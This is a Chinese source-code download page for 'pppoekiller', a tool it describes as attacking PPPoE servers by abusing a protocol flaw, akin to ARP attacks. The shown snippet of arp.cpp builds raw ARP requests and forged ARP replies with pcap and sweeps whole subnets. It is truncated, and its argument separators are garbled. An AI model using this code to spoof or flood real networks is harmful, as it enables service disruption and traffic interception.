资源简介
利用PPPOE协议的漏洞攻击PPPOE服务器。有点类似于ARP攻击。

代码片段和文件信息
// arp.cpp: implementation of the arp class.
//
//////////////////////////////////////////////////////////////////////
#include “arp.h“
int WINAPI send_arp_request(pcap_t *adhandle ip_address s_ip mac_address s_macip_address d_ip){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac.byte1 = 0xff;
arp_ask.eh.dmac.byte2 = 0xff;
arp_ask.eh.dmac.byte3 = 0xff;
arp_ask.eh.dmac.byte4 = 0xff;
arp_ask.eh.dmac.byte5 = 0xff;
arp_ask.eh.dmac.byte6 = 0xff;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;
//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0100 ;//请求
arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;
//下面是唯一变化的即arp_ask.ah.tip对方的IP地址
arp_ask.ah.tip = d_ip;
pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));
return 0;
}
int WINAPI send_arp_request(pcap_t *adhandle u_long s_ip mac_address s_macu_long d_ip){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_request(adhandle*s_ip_addrs_mac*d_ip_addr);
}
int WINAPI send_arp_request(pcap_t *adhandleu_long s_ip mac_address s_mac u_long netgroup u_long netmask){
u_long target_ip = netgroup;
int i = 0;
do{
i++;
target_ip += 0x1000000;//最后加上一
if( 0 == ( i % 256 ))
target_ip += 0x10000;//第三段加一
if( 0 == ( i % 65536 ))
target_ip += 0x100;//第二段加一
if( 0 == ( i % 16777216 ))
target_ip += 0x1;//第一段加一
if( target_ip == s_ip ){
continue;
}
if( netgroup != ( netmask & target_ip ) ){
break;
}
send_arp_request( adhandle s_ips_mactarget_ip);
}while(1);
return 0;
}
int WINAPI send_arp_reply(pcap_t *adhandle ip_address s_ip mac_address s_mac ip_address d_ipmac_address d_mac){
//构造包
arp_packet arp_ask;
memset(&arp_ask0x00sizeof(arp_ask));
//包头以及填充的尾部,不变得部分
arp_ask.eh.dmac = d_mac;
arp_ask.eh.smac = s_mac;
arp_ask.eh.ethproto = 0x0608;
//arp数据中不变的部分
arp_ask.ah.htype = 0x0100 ;
arp_ask.ah.ptype = 0x0008 ;
arp_ask.ah.hsize = 0x06 ;
arp_ask.ah.psize = 0x04 ;
arp_ask.ah.opcode = 0x0200 ;//回复
//下面是发送方的地址
arp_ask.ah.smac = s_mac;
arp_ask.ah.sip = s_ip;
//下面是接收方的地址
arp_ask.ah.tmac = d_mac;
arp_ask.ah.tip = d_ip;
pcap_sendpacket( adhandle (unsigned char*)&arp_asksizeof(arp_packet));
return 0;
}
int WINAPI send_arp_reply(pcap_t *adhandle u_long s_ip mac_address s_mac u_long d_ipmac_address d_mac){
ip_address * d_ip_addr * s_ip_addr;
d_ip_addr = (ip_address*) &d_ip ;
s_ip_addr = (ip_address*) &s_ip ;
return send_arp_reply(adhandle*s_ip_addrs_mac*d_ip_addrd_mac);
}
int WINAPI get_local_mac(mac_address * mac){
ASTAT adapter; //网络适配器
NCB Ncb;
UCHAR uRetCode;
LANA_ENUM lenum;
memset( &Ncb 0 sizeof (Ncb) );
Ncb.
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 3108 2011-06-22 15:07 protocol_header.h
文件 4215 2011-06-22 15:07 arp.cpp
文件 1108 2011-06-22 15:07 arp.h
文件 3657 2011-06-22 15:07 pppoed.cpp
文件 1229 2011-06-22 15:07 pppoed.h
文件 12197 2011-06-22 15:07 pppoekiller.cpp
- 上一篇:单片机电子密码锁课程设计
- 下一篇:烽火通信程序员招聘笔试题
相关资源
- Scratch源码
- E4A无障碍跨程序操作类库(带源码、
- 设备管理系统源码
- 安卓wifi直连app源码
- 我的世界源码(易语言版)
- labview编程软件滤波器以及编写程序设
- 我的界面(visual foxpro)源码
- 易语言:一键cf基址源码
- The Secret Path 3D 3D魔方迷宫[源码][scra
- scratch垃圾分类源码(最终版本).sb
- 安卓QQ6.71协议源码易语言,qq协议源码
- 编译原理实验工具及参考源码(lex&
- E盾偷后台工具源码
- UNIX/LINUX编程实践教程的源码
- 十以内加减法练习 powerbuilder源码
- 农场开发项目
- OCR源码
- PLC上位机编程软件
- 用foobar2000听google音乐[更新一下]
- 学生信息管理系统源码
- 用VC 编写的仿QQ聊天室程序源代码
- 毕业论文之温度传感器DS18B20(源码
- 可自定义导航网站源码
- 栅栏填充算法源码(VC)
- msp430F149操作红外接收模块源码
- [免费]图像识别c 源码
- 周易排盘源码
- RSA算法源码
- 一个人脸识别程序源码
- 编译原理课程设计:词法语法编译器
评论
共有 条评论